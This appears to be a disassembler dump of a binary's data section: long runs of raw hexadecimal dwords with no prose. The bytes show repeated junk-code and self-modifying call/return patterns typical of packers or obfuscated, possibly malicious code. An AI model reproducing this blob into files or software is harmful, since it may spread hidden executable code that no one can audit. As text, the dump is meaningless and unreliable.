		dd 8D8B05E8h, 5E820EDh,	5B59529h, 0D98B05E8h, 0F01E183h
		dd 1F84h, 35858900h, 8305E824h,	0E820EDA5h, 9D01FE05h
		dd 5E823E5h, 20DD9589h,	0E9F805E8h, 0
		dd 0C9D9B58Dh, 9D8905EBh, 5E81B69h, 890F006Ah, 0
		dd 20F995FFh, 6A05E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0F442ADC3h, 6ACB972h, 0BE90000h
		dd 0C5000000h, 3152EEA4h, 0F1B22C27h, 0B70F4B59h, 0FCE183D8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F6C35040h
		dd 0E040D678h, 56D165A8h, 6E86028h, 0E3000000h,	15DD7E1Dh
		dd 61858B35h, 5E05E831h, 218D89h, 0FC6105E8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 1EC35343h, 0EE9549Bh
		dd 2A000000h, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah,	0B859h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 9FDD58C3h, 0E910EFBAh, 6,	6FF8638Ch, 0D22B8271h
		dd 2EE6C781h, 33AD67C1h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 726BB1C3h, 727FF99Fh, 0AD9D294Bh, 8905E822h,	0E8289185h
		dd 880D05h, 85890000h, 5E80F35h, 159D958Bh, 9D8B05E8h
		dd 5E8204Dh, 0DE85056h,	84000000h, 39173E3Fh, 0D6223FDh
		dd 801F1A61h, 8B5B5B5Bh, 0E807058Dh, 0C28B5005h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C6C3C356h
		dd 0BD89D2B7h, 5E80E85h, 28A19501h, 0BD8305E8h,	5E82E71h
		dd 0C9840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0D936C357h,	13E98Ch
		dd 0AC870000h, 8E4E7A5Dh, 0EA429371h, 0B5C83402h, 1B1AE5B0h
		dd 12E9A2h, 0F2840000h,	2776EC1h, 0D99F92FFh, 35D583ABh
		dd 5A2C8FE9h, 0B8h, 0FABF0F00h,	4D6A8D8Dh, 6A05E8h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 518E6EC3h, 19858B60h, 6005E825h, 2D5D858Bh, 0B58B05E8h
		dd 5E80FBDh, 0E1FF6161h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 8AC35343h, 18BB76DEh,	27F3817Eh, 0E94F70E7h
		dd 0Ch,	85E7DA3Bh, 95CA4382h, 243FCA0Dh, 0A61BD83h, 0F0005E8h
		db 84h,	61h
word_584F4E	dw 3			; DATA XREF: ___:0043C0F4o
		dd 0D98D8900h, 8905E807h, 0E81AC595h, 61BD8305h, 105E80Ah
		dd 363840Fh, 9D290000h,	5E829B9h, 0A61BD83h, 0F0305E8h
		dd 31A86h, 11B58900h, 6005E817h, 0D9D8BF5h, 6605E82Eh
		dd 99B7D98Ch, 6604E180h, 1BD7CF81h, 840FC90Ah, 139h, 858BF98Bh
		dd 5E802B1h, 11B52956h,	5B05E80Dh, 1BCD8533h, 850F05E8h
		dd 2, 0B390D7B3h, 52505029h, 0BE8h, 1E162400h, 755762FDh
		dd 57718A5Ch, 5FFB8B66h, 585A310Fh, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 91DFAB15h
		dd 0A071FDA7h, 9D09CF8Bh, 5E82885h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0B3BB5FC3h
		dd 0D9D2978h, 6805E805h, 7527C560h, 148B0Fh, 8E80000h
		dd 0DA000000h, 724DEA2Fh, 0F871161h, 82h, 34815B00h, 38C69F24h
		dd 53006A75h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BF66EE03h, 95FF3444h, 5E81519h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h, 313D4855h
		dd 72202418h, 0C19D2BB6h, 8905E82Ah, 0E80B0995h, 0F1858905h
		dd 6605EBB3h, 0E9D0CABFh, 181h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 46C35040h, 0E9858B48h, 6A05EBB3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0E980C356h, 2E012C2Ch, 0C744B31Fh, 1800h
		dd 0B1BD2300h, 8B05E822h, 0EBB3EDB5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 858B4C12h, 5E83341h,	0C8E0Fh, 820F0000h, 6, 0E318509h
		dd 68905E8h, 5880Fh, 81660000h,	8B3435E7h, 0E802B185h
		dd 0C1BB6605h, 4468985h, 2C319D29h, 895005E8h, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0CB4FEDC3h, 884C3E5h, 9D8B353Bh, 5E83069h, 0B3E9B5FFh
		dd 6A05EBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 2C57A3C3h, 8F6AD602h, 0BF66DBA7h,	2E6866ACh
		dd 66A4431Ah, 817B65BBh, 0E9D12404h, 858D5BDBh,	5EBB3F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h
		dd 3605FA95h, 5E94448h,	25000000h, 36E31460h, 75CDBB90h
		dd 0B75013F3h, 0BD8B909Ah, 5E82565h, 151995FFh,	6A05E8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0CAA2F6C3h, 6E9617Eh, 0F6000000h, 0C9170E1Ah, 95095214h
		dd 5E82F01h, 6185C75Bh,	305E80Ah, 8B000000h, 0E82641BDh
		dd 0F1BD8305h, 5EBB3h, 29840Fh,	0E9FC0000h, 3Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 75C35242h, 24650D3Eh
		dd 504850DFh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 4B1770C3h, 9D2B8C3Ch, 5E80C85h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0E7C35242h
		dd 0D341107Fh, 0BD8305CAh, 5E80A61h, 9C850F03h,	89000003h
		dd 0E8130195h, 0F1BD8305h, 5EBB3h, 389840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 73082CC3h, 56F2633Eh, 0ADBD8BCBh, 0FF05E81Ah, 0EBB3F1B5h
		dd 0BD8B6005h, 5E80275h, 995FF61h, 6A05E81Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 1CF2C352h, 61541D51h, 0BB663F63h, 0B58BDB09h, 5EBB3E5h
		dd 13E9h, 2A8B1D00h, 0F147F80Bh, 0BA1877D4h, 139C53D2h
		dd 0D673A089h, 106C7h, 6A0001h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0F845C4C3h, 840F71h
		dd 96000000h, 74BF6657h, 0BB505F58h, 516E5C18h,	0F1B5FF96h
		dd 0FF05EBB3h, 0E808BD95h, 55D9BF05h, 0B58B57E3h, 5EBB3E5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6FC35141h
		dd 8BABF236h, 0E814B985h, 6E905h, 0CEAE0000h, 47E32E9h
		dd 0C48689h, 9D010000h,	5E80E01h, 0DE8h, 513DA800h, 50CB1C6Ch
		dd 94561504h, 9D039A9Bh, 5E80D3Dh, 9D958B5Fh, 8A05E815h
		dd 4C283FAh, 0A3D9D0Bh,	508905E8h, 56006A20h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BF1E8898h
		dd 0ED0E1066h, 14D58D89h, 9D8B05E8h, 5E81B51h, 0C65D858Dh
		dd 0E2BB05EBh, 893A324Ch, 0B886h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F0DEDF0h
		dd 6AFFBFh, 68B0Fh, 0B5290000h,	5E8132Dh, 0B5FFFB8Bh, 5EBB3F1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F0C35747h
		dd 0EF4595F2h, 0ED34CDB5h, 80BB6609h, 0FFD5B716h, 0E82C2D95h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0FC59783Fh, 0FA3B37CCh, 5050966Bh, 0FFC8A52h
		dd 5AFE8B31h, 66505B58h, 96E10BBFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 6EC35040h, 905287B4h, 4B14C88Dh
		dd 0C059589h, 0B5FF05E8h, 5EBB3F1h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 90C35343h, 0D754DBF6h, 0FBBF0FB5h
		dd 2C195FFh, 0C38005E8h, 5DBD83F6h, 5E802h, 1A840Fh, 0BD8B0000h
		dd 5E80E79h, 0BF525050h, 47BE6BA9h, 0D98B310Fh,	3489585Ah
		dd 0D88B6624h, 0B3F1B5FFh, 95FF05EBh, 5E80759h,	20559D8Bh
		dd 0B5FF05E8h, 5EBB3F1h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 60C35343h, 78C801BEh,	0EE6B2DA8h, 0D59D8BAFh
		dd 0FF05E807h, 0E8072595h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 958959DFh
		dd 5E83155h, 29A9BD83h,	0F0205E8h, 5A84h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 87AAF611h, 0AAF781B8h, 8B22ED20h, 0E8133D85h, 399D0305h
		dd 8105E80Ch, 139704DBh, 0C617h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 17h, 2FC35646h, 0C768A92Fh, 0E812C185h
		dd 5, 1D9D8B00h, 5005E831h, 29919D8Bh, 0E95F05E8h, 0FFFFF470h
		dd 99BD8BF9h, 8B05E831h, 459D2BC1h, 8D05E820h, 0E81C1D85h
		dd 0DE905h, 0C6200000h,	40226D46h, 8597D33Ch, 50F9D8F2h
		dd 40FEBF66h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1E79C351h, 958937BEh
		dd 5E825FDh, 8952006Ah,	0E8071995h, 6A5F05h, 0E850006Ah
		dd 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 8C35040h, 0ACD8CF46h,	38858DBCh, 8B05EC40h
		dd 0E823C9BDh, 5C08305h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 9FC35646h, 50F5216Dh,	22B96660h, 0FE873h
		dd 0B70E0000h, 0B5E98B0Ah, 0E21701A7h, 0E4777048h, 860F2Bh
		dd 5B000000h, 24048961h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0E3C35545h, 4AA6E01Eh, 2820Fh, 0F88B0000h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5C70C7C3h, 8CB7B077h, 6A006A79h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 6511C357h, 70088330h, 44E0CCB7h, 104DBD01h, 95FF05E8h
		dd 5E8203Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	54C35747h, 699D899Bh, 8D05E82Eh, 0EBA4DB8Dh, 8E805h
		dd 201E0000h, 1EB8FD6Ch, 8B665FAFh, 0D1FF5FFEh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6CC35242h, 552D1A5Fh
		dd 816671EEh, 833116F3h, 0E810B9BDh, 850F0105h,	0C1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 42C35747h, 6A8AE709h
		dd 9047214Bh, 6820Fh, 0BD890000h, 5E83005h, 14159D23h
		dd 26A05E8h, 32C59D8Bh,	0F9005E8h, 1F87h, 13E800h, 0DC860000h
		dd 91A8CCFFh, 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 8E0FDCh
		dd 5F000000h, 11E86050h, 5D000000h, 0CFF4A5BAh,	7E891926h
		dd 461F3091h, 0F92971A4h, 505807B5h, 880F52h, 0F000000h
		dd 0C68B6631h, 9061585Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0E5C35141h, 21DE8FABh, 8B0FF65Ch, 2D95FFFAh
		dd 8105E82Ch, 6B961FD7h, 0D4BE91Ah, 0E80000h, 5D000000h
		dd 4042ED81h, 6A05ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 42A668C3h, 58858DF5h, 905EB8Fh
		dd 0E823BD85h, 8E0F9005h, 4, 0FDFBBF66h, 6A9050h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8166F5C3h, 647115F7h, 35FFh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 2EF20BC3h
		dd 258964h, 0E9000000h,	11h, 1FBEB602h,	60F7A04h, 87EB6E8Dh
		dd 18F16353h, 4585FFE4h, 6A05E825h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 50AFC353h
		dd 1C1D0938h, 6F4F318Ah, 2B259D8Bh, 816605E8h, 6ADB61F3h
		dd 0F747BFFFh, 0B5FF66A2h, 5E830EDh, 1B0DBD89h,	95FF05E8h
		dd 5E82FADh, 0D0E9h, 8B00B000h,	0E8081DBDh, 0CF816605h
		dd 70E61A54h, 0F2DB8166h, 0F71E4C4h, 284h, 3CC8B300h, 0AA830F61h
		dd 9000000h, 0E819B9B5h, 85BD8B05h, 0F05E802h, 8166C8B6h
		dd 0BAFAECF7h, 6, 0A4EEBB66h, 0BD8BC18Bh, 5E813E1h, 8904E8C1h
		dd 0E831FD85h, 0E2F76605h, 0C82BDA8Bh, 0F7B3D18Bh, 2E9FCh
		dd 0FE8B0000h, 24AD858Bh, 816605E8h, 0B791C1DBh, 7C08323h
		dd 6E9h, 0C0B43100h, 83731960h,	0D38000C0h, 0FD03B63h
		dd 1883h, 8800F00h, 56000000h, 13058D09h, 0E95F05E8h, 2Dh
		dd 72E38166h, 798D8B00h, 8305E814h, 840F01E1h, 19h, 1479A583h
		dd 0F5FE05E8h, 24AD9589h, 8D8905E8h, 5E82961h, 0E9h, 0E1B58D00h
		dd 6A05EBD2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 90CC353h, 0E816D9BDh, 89006A05h
		dd 0E8095985h, 0F995FF05h, 0F05E820h, 0B89h, 6E900h, 0DFD60000h
		dd 0A6B17012h, 0F69B9h,	10E900h, 0B94D0000h, 0C9122A4h
		dd 9F163741h, 0A231677Dh, 0E183156Bh, 57006AFCh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 1F339E96h, 0FC28B763h, 939B529h, 0C02B05E8h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 8C35545h, 7E9D22Bh
		dd 9F000000h, 90BA66B9h, 33AD3AE5h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 32BCD0C3h, 0CFB7333h, 6850F60h, 8B000000h
		dd 0E81141BDh, 0B5B58B05h, 6105E80Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0E3C35141h,	5433302h, 9D895DE5h
		dd 5E81961h, 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0DC669ECh, 2D44AFFDh
		dd 0CDBD294Fh, 8B05E82Ah, 0E8159D95h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0D88BBBD7h, 58D8BB8h, 6A05E807h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 2437C353h
		dd 8DC78166h, 0C28B507Ch, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6658188Bh, 6A57C1BFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 1BADC356h, 60C9ABEFh
		dd 71BD8388h, 5E82Eh, 6C840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0BE84EC3h
		dd 0B830Fh, 6E90000h, 0D7000000h, 0D8414788h, 0B8FC8A9Eh
		dd 0
		dd 6948D381h, 9D896E50h, 5E82415h, 4D6A8D8Dh, 816605E8h
		dd 0FF7BC2F3h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD83AFC4h, 5E80A61h
		dd 66840F00h, 60000004h, 0DE1958Bh, 890F05E8h, 6, 7C19D8Bh
		dd 836105E8h, 0E80A61BDh, 840F0105h, 460h, 5E8h, 0CDF93D00h
		dd 9D0BEDB0h, 5E809F5h,	61BD835Fh, 305E80Ah, 40C860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 2EEC91C3h, 60F9D55Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 4AC35646h, 0AE9F184h, 40000000h
		dd 0C32A9319h, 3900823h, 0D98C66FBh, 7E9h, 1A8D7A00h, 0FB025B33h
		dd 6880Fh, 0BD890000h, 5E81B85h, 0F04E180h, 685h, 0D8D8900h
		dd 0A05E82Eh, 20840FC9h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BE2EC357h
		dd 31E1D5C7h, 0E8035D8Dh, 0B1858B05h, 2905E802h, 0E8110D9Dh
		dd 0CD853305h, 8105E81Bh, 0E591D7F7h, 8B50906Fh, 6A90DAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0F7D174C3h, 0F570C5Ch, 680h,	2DBD8B00h, 5F05E830h, 0DA8B006Ah
		dd 0E612DE68h, 0C820FBCh, 0E9000000h, 7, 0BCBC9ABFh, 81713CFEh
		dd 0F1212404h, 6A4338h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B70F18C3h, 1995FFDAh, 6A05E815h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 135AC351h, 9B96CD2Fh, 0A59D8BACh,	305E819h
		dd 0E81F419Dh, 0F1858905h, 8005EBB3h, 16E9D3C3h, 6A000002h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0FD7BC350h, 8E8FDh, 0D98D0000h, 1706C969h
		dd 8B5FAF91h, 0EBB3E985h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0EE56AFDFh
		dd 773A5DECh, 1800C7h, 5E90000h, 0ED000000h, 319D0ADh
		dd 3890Fh, 0BF0F0000h, 0EDB58BDBh, 6A05EBB3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 345EC350h, 8BDE16E4h, 0E8334185h, 7E905h, 0F8340000h
		dd 9B8B6C26h, 6A068903h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 4E56C350h, 819ADF81h
		dd 858B1A4Fh, 5E802B1h,	89FA8B66h, 6A0446h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0D59542C3h
		dd 0E39300F7h, 96F8BF0Fh, 61DBBB66h, 0D66EBB50h, 6A963A91h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FFF8C357h, 0EBB3E9B5h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 52593674h, 0B70F5A82h, 22BB66FFh, 0F0BF60DCh, 0F740DBCh
		dd 686h, 870F00h, 61000000h, 0C7282868h, 4EBF66A9h, 24048156h
		dd 5657DBD7h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	71C35040h, 3159E76Eh, 0C16C64FCh, 299D8BA0h, 0B705E822h
		dd 0F1858D40h, 6605EBB3h, 315ACF81h, 11E990h, 1AB10000h
		dd 64826CCFh, 86CADAh, 3610FE48h, 504E526Dh, 45C2E8BBh
		dd 6A903Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0CBF3D5C3h, 0FFCC0419h, 0E8151995h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 468A1B82h, 697FE39h,	9D8B61F9h, 5E83175h, 0A6185C7h
		dd 305E8h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 3967F5C3h, 84FF64ADh, 0B5BD8B14h
		dd 105E81Bh, 0E8302D85h, 0F1BD8305h, 5EBB3h, 34840Fh, 0BF660000h
		dd 46E98CAEh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 4A3C356h, 0C7815DBEh
		dd 22132871h, 1571BD89h, 305005E8h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0C2BF66C0h,	9E952h
		dd 8B4B0000h, 0C35B52C8h, 83A4BCE2h, 0E80A61BDh, 850F0305h
		dd 42Eh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	54C35545h, 9ED355F0h, 0BD83A8A6h, 5EBB3F1h, 0FF840F00h
		dd 6A000003h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 444DC355h, 0D5BD89CBh,	8905E81Ah
		dd 0E830E99Dh, 0F1B5FF05h, 6A05EBB3h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0E9BFC352h
		dd 0B6BBF471h, 1C05BD8Bh, 95FF05E8h, 5E81C09h, 16799589h
		dd 0B58B05E8h, 5EBB3E5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0B8C35747h, 11496DF7h, 0A7EE33BFh, 80F4BB66h
		dd 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 6C2DFBC3h, 9D8B63D8h, 5E82055h
		dd 4F25BB50h, 34893B6Ch, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 4B6CE605h, 0A18589B3h
		dd 6005E807h, 7E9h, 5AB0C400h, 0B965C01Fh, 1F75852Bh, 0FF6105E8h
		dd 0EBB3F1B5h, 0F99D8B05h, 0FF05E822h, 0E808BD95h, 6890F05h
		dd 81000000h, 91CE3E7h,	0E5B58B04h, 6A05EBB3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0C75FC350h, 0CC59E83Ch, 5160EBC2h, 315BDF8Bh, 0E82C75B5h
		dd 858B6105h, 5E814B9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 2FC35040h, 0CAC64CC7h, 0BBBE3Ah, 0D88B66B7h
		dd 0CBE38166h, 0C4868975h, 8B000000h, 9D958BF8h, 6A05E815h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0F55CC351h, 0A2ED6F24h, 0E96E6F8Fh, 9, 0A658525Fh
		dd 6ED36532h, 0D3816651h, 0C283C1B9h, 890F04h, 89000000h
		dd 8DFC2050h, 0EBC65D85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8927070Dh
		dd 0B886h, 6AF800h, 6870Fh, 0BD8B0000h,	5E83045h, 0B3F1B5FFh
		dd 6A05EBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 3F0482C3h, 0BD6166BEh, 95FFF022h,	5E82C2Dh
		dd 5810Fh, 0A2BB0000h, 9674A504h, 0C8E0Fh, 52500000h, 310FDE8Bh
		dd 0D4CABB66h, 0E850585Ah, 0Fh,	675849C2h, 0C7FEE962h
		dd 80A1F895h, 8ABA5D6Ch, 6A965FFCh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 35FDC352h
		dd 0B3F1B5FFh, 6A05EBh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 99B38AC3h, 900C0A8Eh, 28859589h
		dd 95FF05E8h, 5E802C1h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 57C35040h, 0BD83F800h
		dd 5E8025Dh, 34840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 6578C357h
		dd 0DF81EBA1h, 20263D46h, 70BB6650h, 2434898Ah,	43B3BF66h
		dd 0FF3ACB80h, 0EBB3F1B5h, 8E905h, 0ED2F0000h, 0F22C6762h
		dd 95FF2F99h, 5E80759h,	0BE19D8Bh, 0B5FF05E8h, 5EBB3F1h
		dd 0B1B1BB66h, 72595FFh, 0BD8B05E8h, 5E82641h, 29A9BD83h
		dd 0F0205E8h, 6284h, 398D3100h,	8B05E815h, 0E8133D85h
		dd 0FE805h, 4910000h, 47CFFB84h, 9E1995FEh, 0EC472DECh
		dd 6800F84h, 89000000h,	0E813B985h, 0C65F05h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 937735C3h, 9890F08h,	0F000000h, 388h, 0FAB70F00h, 0C7FE8B66h
		dd 0E812C185h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 624469Fh, 847A7304h, 20418589h
		dd 0C4E905E8h, 6AFFFFF3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0CCD7C355h,	0AC5E5E00h
		dd 89DEBF0Fh, 0E830459Dh, 2BC18B05h, 0E80D69BDh, 1D858D05h
		dd 0F05E81Ch, 0A81h, 9D236000h,	5E82591h, 90616160h, 0D2BF5253h
		dd 5F61B3F8h, 870F505Bh, 0Ch, 2	dup(310F5250h),	585A585Ah
		dd 6A006A90h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0F590C353h, 0A0CBCCF0h, 10E825h
		dd 0FA4C0000h, 794EBF76h, 791BA74Fh, 0A02550D2h, 8531C8BFh
		dd 5E82591h, 6A006A5Fh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 575BC355h, 0FF858DB4h
		dd 8B05EC4Eh, 0E815B19Dh, 5C08305h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0BAC35747h,	0A7086049h, 34D380BAh
		dd 8AB3D781h, 89507403h, 830F2404h, 18h, 13E9h,	2D39E700h
		dd 352D7A32h, 27AC71B1h, 0EB8FFEE1h, 65509256h,	6A006Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 42C35242h
		dd 95FFF83Ah, 5E8203Dh,	8DD9B70Fh, 0EBA4DB8Dh, 0FFAFB305h
		dd 0B9BD83D1h, 105E810h, 46850Fh, 89530000h, 0E82ADD85h
		dd 26A5F05h, 0CB99D8Bh,	8B6605E8h, 48950DFh, 0FFCAB724h
		dd 0E82C2D95h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0A7FA7FB1h, 0B529CEDCh
		dd 5E810CDh, 0C66E9h, 0E800h, 815D0000h, 0EC4F09EDh, 0CDBD8905h
		dd 0E905E82Ah, 13h, 3A0E8760h, 35747CBAh, 0DB1B7972h, 18800D1Bh
		dd 6AA8A84Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0BE7BC351h, 0A403EB8Ah, 0DF8B6B5Ch
